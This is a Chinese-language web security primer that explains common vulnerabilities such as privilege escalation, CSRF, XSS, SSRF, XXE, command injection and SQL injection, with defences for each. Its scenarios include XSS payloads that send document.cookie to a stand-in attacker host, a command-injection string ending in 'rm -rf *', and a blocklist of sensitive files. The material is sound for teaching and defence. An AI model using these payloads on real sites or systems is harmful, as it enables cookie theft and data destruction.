越权漏洞

  • 简介

越权漏洞分为垂直越权和水平越权,是开发者对用户访问的资源没有进行合适的权限校验导致可以访问或操作其他权限内容或者其他用户数据

垂直越权

低级别的攻击者可以访问高级别权限用户的资源

场景

例如:某管理平台对管理页面和请求接口没有做权限校验只是通过路由隐藏页面,攻击者A探出管理员的用户管理地址从而可以访问操作用户数据,从而达到权限提升的目的

防护

1.例如:不要相信用户没有编辑权限,就无法访问编辑页面进行编辑操作,需要对编辑接口做权限校验
2.不要只通过隐藏路由来达到权限控制的目的,要采取基煜角色,功能进行防控控制和校验
3.用户访问功能时,验证用户权限和规定的功能权限是否需相同

水平越权

处于同级别用户,攻击者通过修改请求数据可以访问到其他用户的数据

场景

例如: 某日记软件,攻击者A删除日记的时候,修改了请求数据中的日志id为用户B的日记id,这个时候操作就会删除用户B的数据

防护

1.对内容进行访问或操作的时候,需要校验用户信息
2.例如对日记内容和用户需要进行数据绑定

csrf跨站请求伪造

简介

在用户处于登录状态的情况下,攻击者利用用户存在浏览器的用户凭证,对服务器进行请求,而服务器没有进行防护从而导致客户数据受到篡改

场景

用户在某银行网站登录了自己的账号,然后转到某贴吧网站去发送评论,点击发送评论结果自己账户的钱少了,因为攻击者在发送评论的时候其实是在利用用户的cookie信息进行转账请求

防护

1.接口处理的时候增加请求头referer校验
2.在进行接口请求的时候需要输入验证码,附带验证码信息
3.在请求头中增加自定义随机值校验
4.利用csrftoken
5.对于请求尽量是用POST,防止用户随便点击一个链接就发送了攻击请求

xss跨站脚本攻击

攻击者尝试通过以下几种方式将攻击脚本注入到web页面
从而实现获取用户凭证信息,弹窗骚扰, url跳转,控制用户浏览器等目的

反射型xss

简介

攻击者尝试构建一个带有脚本攻击的链接让用户点击,用户点击链接后,后台服务器对链接里带有脚本的参数没有处理返回给浏览器,浏览器会执行页面中嵌入的恶意脚本

场景

例如用户点击了攻击者构建的url: https://xxx.com/test?message=<script>var+i=new+Image;+i.src=”http://gongji.com/"%2bdocument.cookie;</script>,这个时候服务器将message内容返回给浏览器,浏览器执行message脚本内容,导致cookie被发送到攻击者的服务器上

var i=new Image; 
i.src="http://gongji.com/"+document.cookie;

DOM型xss

简介

根据用户的输入,而页面直接直接按html处理用户的输入,这个时候攻击者就可以在输入的时候,插入一段恶意脚本造成攻击
DOM跨站攻击与另外两个类型的区别是,DOM是存页面级别的,只有规范使用javascript才可以防御

场景

在某论坛页面,攻击者在评论里输入 <script type=”text/javascript” > var img = document.createElement(“img”); img.src=”https://gongji/log“ + escape(document.cookie); document.body.append(img) </script >,
这个每个访问到这条评论的用户都会把cookie发送到攻击者的服务器上

存储型xss

简介

和DOM型差不多,只不过是把脚本存到了后台,当访问的时候后台服务器没有对脚本过滤,同样返回给浏览器,浏览器执行了脚本

防护

1.在服务端对用户输入的参数中特殊字符进行进行转义,例如< ,> ,’ ,”,&等字符进行转义 < 转换为 &lt,或者使用xss防护插件xss-filter

2.在服务器进行输入验证,包括输入的数据类型、数据长度、数据格式
3.使用CSP禁止加载外部域代码
4.使用httponly禁止javasscript读取敏感的cookie
5.如果涉及URL目的跳转(例如location.replace、location.href等)或者涉及使用innerHTML、document.write、eval等敏感函数,必须对输入内容做特殊字符转义
6.涉及对内容多次编码处理的时候防止由于反编码操作导致无害的编码内容反编码成有害的脚本

上传漏洞

简介

在上传文件的时候没有对文件类型、格式、内容进行合法性校验,导致攻击者可以上传Webshell(.php, .jsp, asp等)恶意脚本文件,导致服务器被入侵,上传HTML、Flash文件可导致XSS攻击

场景

1.在上传图片过程中,只判断了mime-type和后缀名,而没有判断文件类型的实际文件类型,导致攻击者可以通过修改请求的mimeType和文件后缀名,而实际上传的是HTML或者webshell等脚本
2.上传图片过程中,由于svg图片是一种XML的二维矢量格式,导致攻击者可以在svg里注入script脚本导致xss跨站脚本攻击
3.上传m3u视频格式,由于m3u视频格式实际是存放视频的索引文件,播放软件还会根据里面网络地址去下载播放,而这写地址就可能导致ssrf漏洞

防护

1.采用白名单校验,在上传过程中需要去判断文件二级制里的文件类型
2.服务端对上传文件进行重命名,防止利用目录跳转等防止控制上传目录
3.上传图片格式尽量不上传svg图片格式,svg图片可以img标签渲染出来,具体防护可参考 ![https://svg.digi.ninja]
4.对上传可以进行频率限制还有回显地址可以处理一下,尽量不显示具体路径

ssrf服务端请求伪造

简介

服务器提供了从其他服务器访问内容的功能,从而访问到攻击者恶意构造的地址,如果接收的目标URL是解析到内网的,则服务器会尝试访问内网,从而对内网进行攻击和端口扫描,访问敏感文件

场景

1.客户端在某个接口请求中可以自己构建一个请求,传给服务器,或者在上传文件中通过某种格式,可以将某种可以访问内网的的特殊文件,传入服务器上

防护

1.解析目标URL,判断其schem、host、iP
2.当服务器需要访问内网机器的时候,可以利用白名单,只有白名单的ip和协议还有端口才可以发访问

短信轰炸

简介

由于没有做频率限制,导致攻击者可以一直调用发送短信的接口,给用户造成困扰

场景

某平台短信验证功能,由于没有做评率限制,导致攻击者可以在输入手机号码后,一直给该号码发送验证码短信

防护

1.对手机号码有效性做校验
2.对下发的评率做限制,例如一个手机号1分钟只能下发1次,一天只能发送10次

xxe攻击

简介

当攻击者构建了一个带有恶意内容的外部实体xml未正确配置XML解析器的时候,然后上传到服务器,导致攻击者可以利用XXE获取本地敏感文件,主机IP,端口,攻击内网等

场景

某功能支持通过excel方式导入联系人,xmls文件解压后会生成一个xml文件,然后可以修改xml文件注入外部实体,再打包成xmls上传

防护

1.在代码层面关闭XML实体加载
2.过滤用户提交的xml中关键词,如:SYSTEM,PUBLIC

点击劫持

简介

攻击者制造一个网页,例如红包领取等诱导用户点击,但是点击区域其实有一层透明的iframe覆盖在上面,当点击的时候就会点击到iframe里的内容(例如某银行的转账页面按钮),如果用户还保留了该iframe里的cookie,则会造成用户信息篡改的风险。

防护

1.检测自己的网页是否为顶层页面

window !== top && (top.location.href = window.location.href)

2.设置http头部X-Frame-Options选项

DENY: 浏览器拒绝加载任何frame页面
SAMEORIGIN: frame页面的地址只能是同域名下的页面

浮点数计算漏洞

简介

由于javascript计算会有精度问题,导致后续代码逻辑没有兼容浮点而造成问题

防护

1.可以使用高精度工具去处理计算逻辑
2.在输入的时候进行校验,只传整数类型就不要运行浮点类型

目录穿透

简介

在下载和读取文件的时候,服务器更具传入的路径去查询文件,当路径里包含 ../等符号,而服务器也根据地址去查询就会导致跳转到其他目录,从而返回系统敏感文件给用户

防护

1.用正则匹配路径,当碰到 ../符号的时候,就阻止逻辑执行或者将../转换为空字符串

命令注入攻击

简介

在服务器需要执行用户传入的命令的时候,攻击者构造恶意的参数其中包含一些恶意命令,从而导致服务器执行恶意命令

场景

例如用户需要执行npm run build命令,而攻击者构造npm run build;rm -rf *命令,而导致服务器遭到攻击

防护

1.在代码级调用shell命令,需要对特殊字符进行过滤,例如(| & ;等),防止执行其他构造的命令
2.根据业务进行白名单正则校验
3.禁用一些敏感命令例如 eval system exec shell_exec等函数

url跳转漏洞

简介

服务器会接受用户输入的跳转地址,并返回302响应或者URL重定向,攻击者可以利用该漏洞操控输入的URL,可以欺骗用户跳转到不安全的页面,造成钓鱼攻击

防护

1.避免这种接受用户输入跳转功能和重定向功能
2.将重定向地址放在服务器端
3.利用白名单,只能在白名单列表里进行跳转

sql注入攻击

简介

服务器接受客户端构建的sql语句,然后直接执行而没有对字段类型做校验,特殊字符做过滤,从而导致数据库返回结果超出了设计的预期结果,导致数据库数据泄露,个人私密信息,交易信息被盗取等

防护

1.过滤或转义特殊字符,例如 '转义为 \',还有 ",<,>,&,*,;
2.使用预编译语句&参数化查询,不要使用参数拼接到sql语句里
3.数据库用户使用最小权限原则

用户敏感信息泄露

简介

由于没有对用户隐私数据加密或者屏蔽,例如将数据库手机号,身份证号原样输出到客户端

防护

  1. 不要在客户端,LocalStorage,Cookie上保存密码等敏感信息
  2. 设计个人隐私数据需要脱敏后显示给用户
  3. 设计敏感信息查询需要对访问频率做限制,防止核心数据被爬取

错误信息泄露

简介

由于服务器在捕获错误信息时,直接将错误信息抛出给客户端,而错误信息中包含服务器绝对路径,sql片段,源代码等信息泄露

防护

1.线上需要关闭debug模式
2.错误信息统一自定义返回处理,而不是直接把错误信息返回

服务器目录泄露

简介

在提交代码的时候,代码注释或者文件里包含服务器敏感信息

场景

  1. 某用户提交代码把 Dockerfile, .DS_store发布到仓库上,攻击者通过某种方式获取到Dockerfile文件,而Dockerfile和.DS_store上包含服务器的敏感信息,从而攻击者可以访问服务器的敏感文件

防护

1.禁止敏感文件提供客户访问
2.版本管理应该过滤readme.md,Dockerfile .DS_store等文件

黑名单
Dockerfile* *php.ini *php-fpm.conf *nginx.conf *.DS_Store *.gitmodules *pom.xml *Gruntfile.js *webpack.config.js *package.json *known_hosts *authorized_keys *config.ini

参考

逻辑漏洞之越权漏洞
漏洞知识库-越权漏洞
越权漏洞原理与防御
csrf攻击原理
反射xss攻击
svg文件防护